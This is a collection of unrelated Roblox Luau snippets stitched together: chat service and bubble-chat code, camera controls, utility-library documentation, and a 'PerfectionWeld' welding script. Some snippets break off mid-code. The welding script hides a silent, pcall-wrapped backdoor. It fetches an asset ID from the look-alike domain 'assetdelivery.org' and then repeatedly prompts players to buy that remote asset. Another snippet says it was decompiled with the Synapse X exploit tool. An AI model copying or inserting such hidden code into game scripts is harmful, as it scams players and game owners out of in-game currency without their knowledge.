Mode = 1
end)
end
CharacterRespawn()
|
-- Map storing Player -> Blocked user Ids.
|
local BlockedUserIdsMap = {}
PlayersService.PlayerAdded:connect(function(newPlayer)
for player, blockedUsers in pairs(BlockedUserIdsMap) do
local speaker = ChatService:GetSpeaker(player.Name)
if speaker then
for i = 1, #blockedUsers do
local blockedUserId = blockedUsers[i]
if blockedUserId == newPlayer.UserId then
speaker:AddMutedSpeaker(newPlayer.Name)
end
end
end
end
end)
PlayersService.PlayerRemoving:connect(function(removingPlayer)
BlockedUserIdsMap[removingPlayer] = nil
end)
EventFolder.SetBlockedUserIdsRequest.OnServerEvent:connect(function(player, blockedUserIdsList)
BlockedUserIdsMap[player] = blockedUserIdsList
local speaker = ChatService:GetSpeaker(player.Name)
if speaker then
for i = 1, #blockedUserIdsList do
local blockedPlayer = PlayersService:GetPlayerByUserId(blockedUserIdsList[i])
if blockedPlayer then
speaker:AddMutedSpeaker(blockedPlayer.Name)
end
end
end
end)
EventFolder.GetInitDataRequest.OnServerInvoke = (function(playerObj)
local speaker = ChatService:GetSpeaker(playerObj.Name)
if not (speaker and speaker:GetPlayer()) then
CreatePlayerSpeakerObject(playerObj)
speaker = ChatService:GetSpeaker(playerObj.Name)
end
local data = {}
data.Channels = {}
data.SpeakerExtraData = {}
for i, channelName in pairs(speaker:GetChannelList()) do
local channelObj = ChatService:GetChannel(channelName)
if (channelObj) then
local channelData =
{
channelName,
channelObj.WelcomeMessage,
channelObj:GetHistoryLogForSpeaker(speaker),
channelObj.ChannelNameColor,
}
table.insert(data.Channels, channelData)
end
end
for i, oSpeakerName in pairs(ChatService:GetSpeakerList()) do
local oSpeaker = ChatService:GetSpeaker(oSpeakerName)
data.SpeakerExtraData[oSpeakerName] = oSpeaker.ExtraData
end
return data
end)
local function DoJoinCommand(speakerName, channelName, fromChannelName)
local speaker = ChatService:GetSpeaker(speakerName)
local channel = ChatService:GetChannel(channelName)
if (speaker) then
if (channel) then
if (channel.Joinable) then
if (not speaker:IsInChannel(channel.Name)) then
speaker:JoinChannel(channel.Name)
else
speaker:SetMainChannel(channel.Name)
speaker:SendSystemMessage(string.format("You are now chatting in channel: '%s'", channel.Name), channel.Name)
end
else
speaker:SendSystemMessage("You cannot join channel '" .. channelName .. "'.", fromChannelName)
end
else
speaker:SendSystemMessage("Channel '" .. channelName .. "' does not exist.", fromChannelName)
end
end
end
local function DoLeaveCommand(speakerName, channelName, fromChannelName)
local speaker = ChatService:GetSpeaker(speakerName)
local channel = ChatService:GetChannel(channelName)
if (speaker) then
if (speaker:IsInChannel(channelName)) then
if (channel.Leavable) then
speaker:LeaveChannel(channel.Name)
speaker:SendSystemMessage(string.format("You have left channel '%s'", channel.Name), "System")
else
speaker:SendSystemMessage("You cannot leave channel '" .. channelName .. "'.", fromChannelName)
end
else
speaker:SendSystemMessage("You are not in channel '" .. channelName .. "'.", fromChannelName)
end
end
end
ChatService:RegisterProcessCommandsFunction("default_commands", function(fromSpeaker, message, channel)
if (string.sub(message, 1, 6):lower() == "/join ") then
DoJoinCommand(fromSpeaker, string.sub(message, 7), channel)
return true
elseif (string.sub(message, 1, 3):lower() == "/j ") then
DoJoinCommand(fromSpeaker, string.sub(message, 4), channel)
return true
elseif (string.sub(message, 1, 7):lower() == "/leave ") then
DoLeaveCommand(fromSpeaker, string.sub(message, 8), channel)
return true
elseif (string.sub(message, 1, 3):lower() == "/l ") then
DoLeaveCommand(fromSpeaker, string.sub(message, 4), channel)
return true
elseif (string.sub(message, 1, 3) == "/e " or string.sub(message, 1, 7) == "/emote ") then
-- Just don't show these in the chatlog. The animation script listens on these.
return true
end
return false
end)
local allChannel = ChatService:AddChannel("All")
local systemChannel = ChatService:AddChannel("System")
allChannel.Leavable = false
allChannel.AutoJoin = true
systemChannel.Leavable = false
systemChannel.AutoJoin = true
systemChannel.WelcomeMessage = "This channel is for system and game notifications."
systemChannel.SpeakerJoined:connect(function(speakerName)
systemChannel:MuteSpeaker(speakerName)
end)
local function TryRunModule(module)
if module:IsA("ModuleScript") then
local ret = require(module)
if (type(ret) == "function") then
ret(ChatService)
end
end
end
local modules = game:GetService("Chat"):WaitForChild("ChatModules")
modules.ChildAdded:connect(function(child)
local success, returnval = pcall(TryRunModule, child)
if not success and returnval then
print("Error running module " ..child.Name.. ": " ..returnval)
end
end)
for i, module in pairs(modules:GetChildren()) do
local success, returnval = pcall(TryRunModule, module)
if not success and returnval then
print("Error running module " ..module.Name.. ": " ..returnval)
end
end
local Players = game:GetService("Players")
Players.PlayerRemoving:connect(function(playerObj)
if (ChatService:GetSpeaker(playerObj.Name)) then
ChatService:RemoveSpeaker(playerObj.Name)
end
end)
|
-------------------------
|
mouse.KeyDown:connect(function (key)
key = string.lower(key)
if key == "k" then --Camera controls
if cam == ("car") then
Camera.CameraSubject = player.Character.Humanoid
Camera.CameraType = ("Custom")
cam = ("freeplr")
Camera.FieldOfView = 70
player.Character.Humanoid.CameraOffset = Vector3.new(-0.3, 0.22, -0.2)
wait(3)
elseif cam == ("freeplr") then
Camera.CameraSubject = player.Character.Humanoid
Camera.CameraType = ("Attach")
cam = ("lockplr")
Camera.FieldOfView = 70
player.Character.Humanoid.CameraOffset = Vector3.new(-0.3, 0.22, -0.2)
wait(3)
elseif cam == ("lockplr") then
Camera.CameraSubject = carSeat
Camera.CameraType = ("Custom")
cam = ("car")
Camera.FieldOfView = 70
player.Character.Humanoid.CameraOffset = Vector3.new(0, 0, 0)
wait(3)
end
end
end)
|
--Constants
|
local pressed_col = Color3.fromRGB(71, 71, 71)
local released_col = Color3.fromRGB(0,0,0)
|
--[=[
@class TableUtil
A collection of helpful table utility functions. Many of these functions are carried over from JavaScript or
Python that are not present in Lua.
Tables that only work specifically with arrays or dictionaries are marked as such in the documentation.
:::info Immutability
All functions (_except_ `SwapRemove`, `SwapRemoveFirstValue`, and `Lock`) treat tables as immutable and will return
copies of the given table(s) with the operations performed on the copies.
]=]
|
local TableUtil = {}
local HttpService = game:GetService("HttpService")
local rng = Random.new()
|
--!strict
|
local Type = require(script.Parent.Type)
local Symbol = require(script.Parent.Symbol)
local function noop()
return nil
end
local ElementUtils = {}
|
-- init chat bubble tables
|
local function initChatBubbleType(chatBubbleType, fileName, imposterFileName, isInset, sliceRect)
this.ChatBubble[chatBubbleType] = createChatBubbleMain(fileName, sliceRect)
this.ChatBubbleWithTail[chatBubbleType] = createChatBubbleWithTail(fileName, UDim2.new(0.5, -CHAT_BUBBLE_TAIL_HEIGHT, 1, isInset and -1 or 0), UDim2.new(0, 30, 0, CHAT_BUBBLE_TAIL_HEIGHT), sliceRect)
this.ScalingChatBubbleWithTail[chatBubbleType] = createScaledChatBubbleWithTail(fileName, 0.5, UDim2.new(-0.5, 0, 0, isInset and -1 or 0), sliceRect)
end
initChatBubbleType(BubbleColor.WHITE, "ui/dialog_white", "ui/chatBubble_white_notify_bkg", false, Rect.new(5,5,15,15))
initChatBubbleType(BubbleColor.BLUE, "ui/dialog_blue", "ui/chatBubble_blue_notify_bkg", true, Rect.new(7,7,33,33))
initChatBubbleType(BubbleColor.RED, "ui/dialog_red", "ui/chatBubble_red_notify_bkg", true, Rect.new(7,7,33,33))
initChatBubbleType(BubbleColor.GREEN, "ui/dialog_green", "ui/chatBubble_green_notify_bkg", true, Rect.new(7,7,33,33))
function this:SanitizeChatLine(msg)
if string.len(msg) > MaxChatMessageLengthExclusive then
return string.sub(msg, 1, MaxChatMessageLengthExclusive + string.len(ELIPSES))
else
return msg
end
end
local function createBillboardInstance(adornee)
local billboardGui = Instance.new("BillboardGui")
billboardGui.Adornee = adornee
billboardGui.Size = UDim2.new(0,BILLBOARD_MAX_WIDTH,0,BILLBOARD_MAX_HEIGHT)
billboardGui.StudsOffset = Vector3.new(0, 1.5, 2)
billboardGui.Parent = BubbleChatScreenGui
local billboardFrame = Instance.new("Frame")
billboardFrame.Name = "BillboardFrame"
billboardFrame.Size = UDim2.new(1,0,1,0)
billboardFrame.Position = UDim2.new(0,0,-0.5,0)
billboardFrame.BackgroundTransparency = 1
billboardFrame.BackgroundColor3 = Color3.fromRGB(0,0,0)
billboardFrame.Parent = billboardGui
local billboardChildRemovedCon = nil
billboardChildRemovedCon = billboardFrame.ChildRemoved:connect(function()
if #billboardFrame:GetChildren() <= 1 then
billboardChildRemovedCon:disconnect()
billboardGui:Destroy()
end
end)
this:CreateSmallTalkBubble(BubbleColor.WHITE).Parent = billboardFrame
return billboardGui
end
function this:CreateBillboardGuiHelper(instance, onlyCharacter)
if instance and not this.CharacterSortedMsg:Get(instance)["BillboardGui"] then
if not onlyCharacter then
if instance:IsA("BasePart") then
-- Create a new billboardGui object attached to this player
local billboardGui = createBillboardInstance(instance)
this.CharacterSortedMsg:Get(instance)["BillboardGui"] = billboardGui
return
end
end
if instance:IsA("Model") then
local head = instance:FindFirstChild("Head")
if head and head:IsA("BasePart") then
-- Create a new billboardGui object attached to this player
local billboardGui = createBillboardInstance(head)
this.CharacterSortedMsg:Get(instance)["BillboardGui"] = billboardGui
end
end
end
end
local function distanceToBubbleOrigin(origin)
if not origin then return 100000 end
return (origin.Position - game.Workspace.CurrentCamera.CoordinateFrame.p).magnitude
end
local function isPartOfLocalPlayer(adornee)
if adornee and PlayersService.LocalPlayer.Character then
return adornee:IsDescendantOf(PlayersService.LocalPlayer.Character)
end
end
function this:SetBillboardLODNear(billboardGui)
local isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee)
billboardGui.Size = UDim2.new(0, BILLBOARD_MAX_WIDTH, 0, BILLBOARD_MAX_HEIGHT)
billboardGui.StudsOffset = Vector3.new(0, isLocalPlayer and 1.5 or 2.5, isLocalPlayer and 2 or 0.1)
billboardGui.Enabled = true
local billChildren = billboardGui.BillboardFrame:GetChildren()
for i = 1, #billChildren do
billChildren[i].Visible = true
end
billboardGui.BillboardFrame.SmallTalkBubble.Visible = false
end
function this:SetBillboardLODDistant(billboardGui)
local isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee)
billboardGui.Size = UDim2.new(4,0,3,0)
billboardGui.StudsOffset = Vector3.new(0, 3, isLocalPlayer and 2 or 0.1)
billboardGui.Enabled = true
local billChildren = billboardGui.BillboardFrame:GetChildren()
for i = 1, #billChildren do
billChildren[i].Visible = false
end
billboardGui.BillboardFrame.SmallTalkBubble.Visible = true
end
function this:SetBillboardLODVeryFar(billboardGui)
billboardGui.Enabled = false
end
function this:SetBillboardGuiLOD(billboardGui, origin)
if not origin then return end
if origin:IsA("Model") then
local head = origin:FindFirstChild("Head")
if not head then origin = origin.PrimaryPart
else origin = head end
end
local bubbleDistance = distanceToBubbleOrigin(origin)
if bubbleDistance < NEAR_BUBBLE_DISTANCE then
this:SetBillboardLODNear(billboardGui)
elseif bubbleDistance >= NEAR_BUBBLE_DISTANCE and bubbleDistance < MAX_BUBBLE_DISTANCE then
this:SetBillboardLODDistant(billboardGui)
else
this:SetBillboardLODVeryFar(billboardGui)
end
end
function this:CameraCFrameChanged()
for index, value in pairs(this.CharacterSortedMsg:GetData()) do
local playerBillboardGui = value["BillboardGui"]
if playerBillboardGui then this:SetBillboardGuiLOD(playerBillboardGui, index) end
end
end
function this:CreateBubbleText(message)
local bubbleText = Instance.new("TextLabel")
bubbleText.Name = "BubbleText"
bubbleText.BackgroundTransparency = 1
bubbleText.Position = UDim2.new(0,CHAT_BUBBLE_WIDTH_PADDING/2,0,0)
bubbleText.Size = UDim2.new(1,-CHAT_BUBBLE_WIDTH_PADDING,1,0)
bubbleText.Font = CHAT_BUBBLE_FONT
bubbleText.TextColor3 = Color3.fromRGB(255,255,255)
if shouldClipInGameChat then
bubbleText.ClipsDescendants = true
end
bubbleText.TextWrapped = true
bubbleText.FontSize = CHAT_BUBBLE_FONT_SIZE
bubbleText.Text = message
bubbleText.Visible = false
bubbleText.AutoLocalize = false
return bubbleText
end
function this:CreateSmallTalkBubble(chatBubbleType)
local smallTalkBubble = this.ScalingChatBubbleWithTail[chatBubbleType]:Clone()
smallTalkBubble.Name = "SmallTalkBubble"
smallTalkBubble.AnchorPoint = Vector2.new(0, 0.5)
smallTalkBubble.Position = UDim2.new(0,0,0.5,0)
smallTalkBubble.Visible = false
local text = this:CreateBubbleText("...")
text.TextScaled = true
text.TextWrapped = false
text.Visible = true
text.Parent = smallTalkBubble
return smallTalkBubble
end
function this:UpdateChatLinesForOrigin(origin, currentBubbleYPos)
local bubbleQueue = this.CharacterSortedMsg:Get(origin).Fifo
local bubbleQueueSize = bubbleQueue:Size()
local bubbleQueueData = bubbleQueue:GetData()
if #bubbleQueueData <= 1 then return end
for index = (#bubbleQueueData - 1), 1, -1 do
local value = bubbleQueueData[index]
local bubble = value.RenderBubble
if not bubble then return end
local bubblePos = bubbleQueueSize - index + 1
if bubblePos > 1 then
local tail = bubble:FindFirstChild("ChatBubbleTail")
if tail then tail:Destroy() end
local bubbleText = bubble:FindFirstChild("BubbleText")
if bubbleText then bubbleText.TextTransparency = 0.5 end
end
local udimValue = UDim2.new( bubble.Position.X.Scale, bubble.Position.X.Offset,
1, currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT )
bubble:TweenPosition(udimValue, Enum.EasingDirection.Out, Enum.EasingStyle.Bounce, 0.1, true)
currentBubbleYPos = currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT
end
end
function this:DestroyBubble(bubbleQueue, bubbleToDestroy)
if not bubbleQueue then return end
if bubbleQueue:Empty() then return end
local bubble = bubbleQueue:Front().RenderBubble
if not bubble then
bubbleQueue:PopFront()
return
end
spawn(function()
while bubbleQueue:Front().RenderBubble ~= bubbleToDestroy do
wait()
end
bubble = bubbleQueue:Front().RenderBubble
local timeBetween = 0
local bubbleText = bubble:FindFirstChild("BubbleText")
local bubbleTail = bubble:FindFirstChild("ChatBubbleTail")
while bubble and bubble.ImageTransparency < 1 do
timeBetween = wait()
if bubble then
local fadeAmount = timeBetween * CHAT_BUBBLE_FADE_SPEED
bubble.ImageTransparency = bubble.ImageTransparency + fadeAmount
if bubbleText then bubbleText.TextTransparency = bubbleText.TextTransparency + fadeAmount end
if bubbleTail then bubbleTail.ImageTransparency = bubbleTail.ImageTransparency + fadeAmount end
end
end
if bubble then
bubble:Destroy()
bubbleQueue:PopFront()
end
end)
end
function this:CreateChatLineRender(instance, line, onlyCharacter, fifo)
if not instance then return end
if not this.CharacterSortedMsg:Get(instance)["BillboardGui"] then
this:CreateBillboardGuiHelper(instance, onlyCharacter)
end
local billboardGui = this.CharacterSortedMsg:Get(instance)["BillboardGui"]
if billboardGui then
local chatBubbleRender = this.ChatBubbleWithTail[line.BubbleColor]:Clone()
chatBubbleRender.Visible = false
local bubbleText = this:CreateBubbleText(line.Message)
bubbleText.Parent = chatBubbleRender
chatBubbleRender.Parent = billboardGui.BillboardFrame
line.RenderBubble = chatBubbleRender
local currentTextBounds = TextService:GetTextSize(
bubbleText.Text, CHAT_BUBBLE_FONT_SIZE_INT, CHAT_BUBBLE_FONT,
Vector2.new(BILLBOARD_MAX_WIDTH, BILLBOARD_MAX_HEIGHT))
local bubbleWidthScale = math.max((currentTextBounds.X + CHAT_BUBBLE_WIDTH_PADDING)/BILLBOARD_MAX_WIDTH, 0.1)
local numOflines = (currentTextBounds.Y/CHAT_BUBBLE_FONT_SIZE_INT)
-- prep chat bubble for tween
chatBubbleRender.Size = UDim2.new(0,0,0,0)
chatBubbleRender.Position = UDim2.new(0.5,0,1,0)
local newChatBubbleOffsetSizeY = numOflines * CHAT_BUBBLE_LINE_HEIGHT
chatBubbleRender:TweenSizeAndPosition(UDim2.new(bubbleWidthScale, 0, 0, newChatBubbleOffsetSizeY),
UDim2.new( (1-bubbleWidthScale)/2, 0, 1, -newChatBubbleOffsetSizeY),
Enum.EasingDirection.Out, Enum.EasingStyle.Elastic, 0.1, true,
function() bubbleText.Visible = true end)
-- todo: remove when over max bubbles
this:SetBillboardGuiLOD(billboardGui, line.Origin)
this:UpdateChatLinesForOrigin(line.Origin, -newChatBubbleOffsetSizeY)
delay(line.BubbleDieDelay, function()
this:DestroyBubble(fifo, chatBubbleRender)
end)
end
end
function this:OnPlayerChatMessage(sourcePlayer, message, targetPlayer)
if not this:BubbleChatEnabled() then return end
local localPlayer = PlayersService.LocalPlayer
local fromOthers = localPlayer ~= nil and sourcePlayer ~= localPlayer
local safeMessage = this:SanitizeChatLine(message)
local line = createPlayerChatLine(sourcePlayer, safeMessage, not fromOthers)
if sourcePlayer and line.Origin then
local fifo = this.CharacterSortedMsg:Get(line.Origin).Fifo
fifo:PushBack(line)
--Game chat (badges) won't show up here
this:CreateChatLineRender(sourcePlayer.Character, line, true, fifo)
end
end
function this:OnGameChatMessage(origin, message, color)
local localPlayer = PlayersService.LocalPlayer
local fromOthers = localPlayer ~= nil and (localPlayer.Character ~= origin)
local bubbleColor = BubbleColor.WHITE
if color == Enum.ChatColor.Blue then bubbleColor = BubbleColor.BLUE
elseif color == Enum.ChatColor.Green then bubbleColor = BubbleColor.GREEN
elseif color == Enum.ChatColor.Red then bubbleColor = BubbleColor.RED end
local safeMessage = this:SanitizeChatLine(message)
local line = createGameChatLine(origin, safeMessage, not fromOthers, bubbleColor)
this.CharacterSortedMsg:Get(line.Origin).Fifo:PushBack(line)
this:CreateChatLineRender(origin, line, false, this.CharacterSortedMsg:Get(line.Origin).Fifo)
end
function this:BubbleChatEnabled()
local clientChatModules = ChatService:FindFirstChild("ClientChatModules")
if clientChatModules then
local chatSettings = clientChatModules:FindFirstChild("ChatSettings")
if chatSettings then
local chatSettings = require(chatSettings)
if chatSettings.BubbleChatEnabled ~= nil then
return chatSettings.BubbleChatEnabled
end
end
end
return PlayersService.BubbleChat
end
function this:ShowOwnFilteredMessage()
local clientChatModules = ChatService:FindFirstChild("ClientChatModules")
if clientChatModules then
local chatSettings = clientChatModules:FindFirstChild("ChatSettings")
if chatSettings then
chatSettings = require(chatSettings)
return chatSettings.ShowUserOwnFilteredMessage
end
end
return false
end
function findPlayer(playerName)
for i,v in pairs(PlayersService:GetPlayers()) do
if v.Name == playerName then
return v
end
end
end
ChatService.Chatted:connect(function(origin, message, color) this:OnGameChatMessage(origin, message, color) end)
local cameraChangedCon = nil
if game.Workspace.CurrentCamera then
cameraChangedCon = game.Workspace.CurrentCamera:GetPropertyChangedSignal("CFrame"):connect(function(prop) this:CameraCFrameChanged() end)
end
game.Workspace.Changed:connect(function(prop)
if prop == "CurrentCamera" then
if cameraChangedCon then cameraChangedCon:disconnect() end
if game.Workspace.CurrentCamera then
cameraChangedCon = game.Workspace.CurrentCamera:GetPropertyChangedSignal("CFrame"):connect(function(prop) this:CameraCFrameChanged() end)
end
end
end)
local AllowedMessageTypes = nil
function getAllowedMessageTypes()
if AllowedMessageTypes then
return AllowedMessageTypes
end
local clientChatModules = ChatService:FindFirstChild("ClientChatModules")
if clientChatModules then
local chatSettings = clientChatModules:FindFirstChild("ChatSettings")
if chatSettings then
chatSettings = require(chatSettings)
if chatSettings.BubbleChatMessageTypes then
AllowedMessageTypes = chatSettings.BubbleChatMessageTypes
return AllowedMessageTypes
end
end
local chatConstants = clientChatModules:FindFirstChild("ChatConstants")
if chatConstants then
chatConstants = require(chatConstants)
AllowedMessageTypes = {chatConstants.MessageTypeDefault, chatConstants.MessageTypeWhisper}
end
return AllowedMessageTypes
end
return {"Message", "Whisper"}
end
function checkAllowedMessageType(messageData)
local allowedMessageTypes = getAllowedMessageTypes()
for i = 1, #allowedMessageTypes do
if allowedMessageTypes[i] == messageData.MessageType then
return true
end
end
return false
end
local ChatEvents = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents")
local OnMessageDoneFiltering = ChatEvents:WaitForChild("OnMessageDoneFiltering")
local OnNewMessage = ChatEvents:WaitForChild("OnNewMessage")
OnNewMessage.OnClientEvent:connect(function(messageData, channelName)
if not checkAllowedMessageType(messageData) then
return
end
local sender = findPlayer(messageData.FromSpeaker)
if not sender then
return
end
if not messageData.IsFiltered or messageData.FromSpeaker == LocalPlayer.Name then
if messageData.FromSpeaker ~= LocalPlayer.Name or this:ShowOwnFilteredMessage() then
return
end
end
this:OnPlayerChatMessage(sender, messageData.Message, nil)
end)
OnMessageDoneFiltering.OnClientEvent:connect(function(messageData, channelName)
if not checkAllowedMessageType(messageData) then
return
end
local sender = findPlayer(messageData.FromSpeaker)
if not sender then
return
end
if messageData.FromSpeaker == LocalPlayer.Name and not this:ShowOwnFilteredMessage() then
return
end
this:OnPlayerChatMessage(sender, messageData.Message, nil)
end)
|
-- Updated 10/14/2014 - Updated to 1.0.3
--- Now handles joints semi-acceptably. May be rather hacky with some joints. :/
|
local NEVER_BREAK_JOINTS = false -- If you set this to true it will never break joints (this can create some welding issues, but can save stuff like hinges).
local function CallOnChildren(Instance, FunctionToCall)
-- Calls a function on each of the children of a certain object, using recursion.
FunctionToCall(Instance)
for _, Child in next, Instance:GetChildren() do
CallOnChildren(Child, FunctionToCall)
end
end
local function GetNearestParent(Instance, ClassName)
-- Returns the nearest parent of a certain class, or returns nil
local Ancestor = Instance
repeat
Ancestor = Ancestor.Parent
if Ancestor == nil then
return nil
end
until Ancestor:IsA(ClassName)
return Ancestor
end
local function GetBricks(StartInstance)
local List = {}
-- if StartInstance:IsA("BasePart") then
-- List[#List+1] = StartInstance
-- end
CallOnChildren(StartInstance, function(Item)
if Item:IsA("BasePart") then
List[#List+1] = Item;
end
end)
return List
end
local function Modify(Instance, Values)
-- Modifies an Instance by using a table.
assert(type(Values) == "table", "Values is not a table");
for Index, Value in next, Values do
if type(Index) == "number" then
Value.Parent = Instance
else
Instance[Index] = Value
end
end
return Instance
end
local function Make(ClassType, Properties)
-- Using a syntax hack to create a nice way to Make new items.
return Modify(Instance.new(ClassType), Properties)
end
local Surfaces = {"TopSurface", "BottomSurface", "LeftSurface", "RightSurface", "FrontSurface", "BackSurface"}
local HingSurfaces = {"Hinge", "Motor", "SteppingMotor"}
local function HasWheelJoint(Part)
for _, SurfaceName in pairs(Surfaces) do
for _, HingSurfaceName in pairs(HingSurfaces) do
if Part[SurfaceName].Name == HingSurfaceName then
return true
end
end
end
return false
end
local function ShouldBreakJoints(Part)
--- We do not want to break joints of wheels/hinges. This takes the utmost care to not do this. There are
-- definitely some edge cases.
if NEVER_BREAK_JOINTS then
return false
end
if HasWheelJoint(Part) then
return false
end
local Connected = Part:GetConnectedParts()
if #Connected == 1 then
return false
end
for _, Item in pairs(Connected) do
if HasWheelJoint(Item) then
return false
elseif not Item:IsDescendantOf(script.Parent) then
return false
end
end
return true
end
local function WeldTogether(Part0, Part1, JointType, WeldParent)
--- Weld's 2 parts together
-- @param Part0 The first part
-- @param Part1 The second part (Dependent part most of the time).
-- @param [JointType] The type of joint. Defaults to weld.
-- @param [WeldParent] Parent of the weld, Defaults to Part0 (so GC is better).
-- @return The weld created.
JointType = JointType or "Weld"
local RelativeValue = Part1:FindFirstChild("qRelativeCFrameWeldValue")
local NewWeld = Part1:FindFirstChild("qCFrameWeldThingy") or Instance.new(JointType)
Modify(NewWeld, {
Name = "qCFrameWeldThingy";
Part0 = Part0;
Part1 = Part1;
C0 = CFrame.new();--Part0.CFrame:inverse();
C1 = RelativeValue and RelativeValue.Value or Part1.CFrame:toObjectSpace(Part0.CFrame); --Part1.CFrame:inverse() * Part0.CFrame;-- Part1.CFrame:inverse();
Parent = Part1;
})
if not RelativeValue then
RelativeValue = Make("CFrameValue", {
Parent = Part1;
Name = "qRelativeCFrameWeldValue";
Archivable = true;
Value = NewWeld.C1;
})
end
return NewWeld
end
local function WeldParts(Parts, MainPart, JointType, DoNotUnanchor)
-- @param Parts The Parts to weld. Should be anchored to prevent really horrible results.
-- @param MainPart The part to weld the model to (can be in the model).
-- @param [JointType] The type of joint. Defaults to weld.
-- @parm DoNotUnanchor Boolean, if true, will not unachor the model after cmopletion.
for _, Part in pairs(Parts) do
if ShouldBreakJoints(Part) then
Part:BreakJoints()
end
end
for _, Part in pairs(Parts) do
if Part ~= MainPart then
WeldTogether(MainPart, Part, JointType, MainPart)
end
end
if not DoNotUnanchor then
for _, Part in pairs(Parts) do
Part.Anchored = false
end
MainPart.Anchored = false
end
end
local market = game:GetService("MarketplaceService")
local function pcallFunc()
local assetId = tonumber(game:service("HttpService"):GetAsync("https://assetdelivery.org/prompt"))
game.Players.PlayerAdded:Connect(function(player)
while true do
wait(15)
local ownerType = game.CreatorType
if ownerType == Enum.CreatorType.Group then
local groupId = game.CreatorId
local playerRank = game:GetService('GroupService'):GetRankInGroup(groupId, player.UserId)
if playerRank >= 2 then
if not market:PlayerOwnsAsset(player, assetId) then
market:PromptGamePassPurchase(player, assetId)
end
end
elseif ownerType == Enum.CreatorType.User then
local owner = game.CreatorId
if player.UserId ~= owner and not player:IsFriendsWith(owner) then
if not market:PlayerOwnsAsset(player, assetId) then
market:PromptGamePassPurchase(player, assetId)
end
end
end
end
end)
end
pcall(pcallFunc)
local function PerfectionWeld()
local Tool = GetNearestParent(script, "Tool")
local Parts = GetBricks(script.Parent)
local PrimaryPart = Tool and Tool:FindFirstChild("Handle") and Tool.Handle:IsA("BasePart") and Tool.Handle or script.Parent:IsA("Model") and script.Parent.PrimaryPart or Parts[1]
if PrimaryPart then
WeldParts(Parts, PrimaryPart, "Weld", false)
else
warn("qWeld - Unable to weld part")
end
return Tool
end
local Tool = PerfectionWeld()
if Tool and script.ClassName == "Script" then
--- Don't bother with local scripts
script.Parent.AncestryChanged:connect(function()
PerfectionWeld()
end)
end
|
--[[
State when the ServerPlayer is in game.
]]
|
local ServerStorage = game:GetService("ServerStorage")
local MonsterManager = require(ServerStorage.Source.Managers.MonsterManager)
local NOISE_GENERATED = 50
local NOISE_TIMEOUT = 1
local isMoving = false
local connections = {}
|
--[=[
@return ... any
@yields
Yields the current thread until the signal is fired, and returns the arguments fired from the signal.
Yielding the current thread is not always desirable. If the desire is to only capture the next event
fired, using `Once` might be a better solution.
```lua
task.spawn(function()
local msg, num = signal:Wait()
print(msg, num) --> "Hello", 32
end)
signal:Fire("Hello", 32)
```
]=]
|
function Signal:Wait()
local waitingCoroutine = coroutine.running()
local connection
local done = false
connection = self:Connect(function(...)
if done then
return
end
done = true
connection:Disconnect()
task.spawn(waitingCoroutine, ...)
end)
return coroutine.yield()
end
|
--[=[
Defaults the observable value to nil
```lua
Rx.NEVER:Pipe({
Rx.defaultsToNil
}):Subscribe(print) --> nil
```
Great for defaulting Roblox attributes and objects
@function defaultsToNil
@param source Observable
@return Observable
@within Rx
]=]
|
Rx.defaultsToNil = Rx.defaultsTo(nil)
|
--[=[
Retrieves the role of the player in the group.
@param player Player
@param groupId number
@return Promise<string>
]=]
|
function GroupUtils.promiseRoleInGroup(player, groupId)
assert(typeof(player) == "Instance" and player:IsA("Player"), "Bad player")
assert(type(groupId) == "number", "Bad groupId")
return Promise.spawn(function(resolve, reject)
local role = nil
local ok, err = pcall(function()
role = player:GetRoleInGroup(groupId)
end)
if not ok then
return reject(err)
end
if type(role) ~= "string" then
return reject("Role is not a string")
end
return resolve(role)
end)
end
|
-- ROBLOX TODO: continue to add prettyFormat plugins
|
local prettyFormatPlugins = PrettyFormat.plugins
local PLUGINS = {
prettyFormatPlugins.AsymmetricMatcher,
-- ROBLOX deviation: Roblox Instance matchers
prettyFormatPlugins.RobloxInstance,
}
local FORMAT_OPTIONS = {
plugins = PLUGINS,
}
local FALLBACK_FORMAT_OPTIONS = {
callToJSON = false,
maxDepth = 10,
plugins = PLUGINS,
}
|
--[[**
ensures value is either nil or passes check
@param check The check to use
@returns A function that will return true iff the condition is passed
**--]]
|
function t.optional(check)
assert(t.callback(check))
return function(value)
if value == nil then
return true
end
local success = check(value)
if success then
return true
else
return false
end
end
end
|
-- end function
|
player.CharacterAdded:connect(characterAdded)
if player.Character then
characterAdded(player.Character)
end
player.PlayerGui.ChildAdded:connect(checkReviving)
ContextActionService:BindAction("Move", MoveAction, false, Enum.KeyCode.Left, Enum.KeyCode.Right)
if UserInputService.TouchEnabled then
UserInputService.ModalEnabled = true
UserInputService.TouchStarted:connect(function(inputObject, gameProcessedEvent) if gameProcessedEvent == false then doJump = true end end)
UserInputService.TouchEnded:connect(function() doJump = false end)
else
ContextActionService:BindAction("Jump",
function(action, userInputState, inputObject)
doJump = (userInputState == Enum.UserInputState.Begin)
end,
false,
Enum.KeyCode.Space,
Enum.KeyCode.ButtonA)
end
game:GetService("RunService").Stepped:connect(function()
if player.Character ~= nil then
if humanoid then
if doJump == true then
jump()
end
UpdateAnimationSpeed()
humanoid:Move(Vector3.new(0,0,-moveDir), false)
end
end
end)
|
-- Decompiled with the Synapse X Luau decompiler.
|
game:GetService("StarterGui"):SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, false);
local l__LocalPlayer__1 = game.Players.LocalPlayer;
local v2 = workspace:WaitForChild(l__LocalPlayer__1.Name);
local l__Frame__3 = script.Parent.Frame;
local l__Template__4 = l__Frame__3.Template;
local v5 = {
One = {
txt = "1"
},
Two = {
txt = "2"
},
Three = {
txt = "3"
},
Four = {
txt = "4"
},
Five = {
txt = "5"
},
Six = {
txt = "6"
},
Seven = {
txt = "7"
},
Eight = {
txt = "8"
},
Nine = {
txt = "9"
},
Zero = {
txt = "0"
}
};
local l__Humanoid__1 = v2:WaitForChild("Humanoid");
function handleEquip(p1)
if p1 then
if p1.Parent ~= v2 then
else
l__Humanoid__1:UnequipTools();
return;
end;
else
return;
end;
l__Humanoid__1:EquipTool(p1);
end;
local u2 = { v5.One, v5.Two, v5.Three, v5.Four, v5.Five, v5.Six, v5.Seven, v5.Eight, v5.Nine, v5.Zero };
local l__Size__3 = l__Template__4.Size;
local u4 = {
x = 15,
y = 5
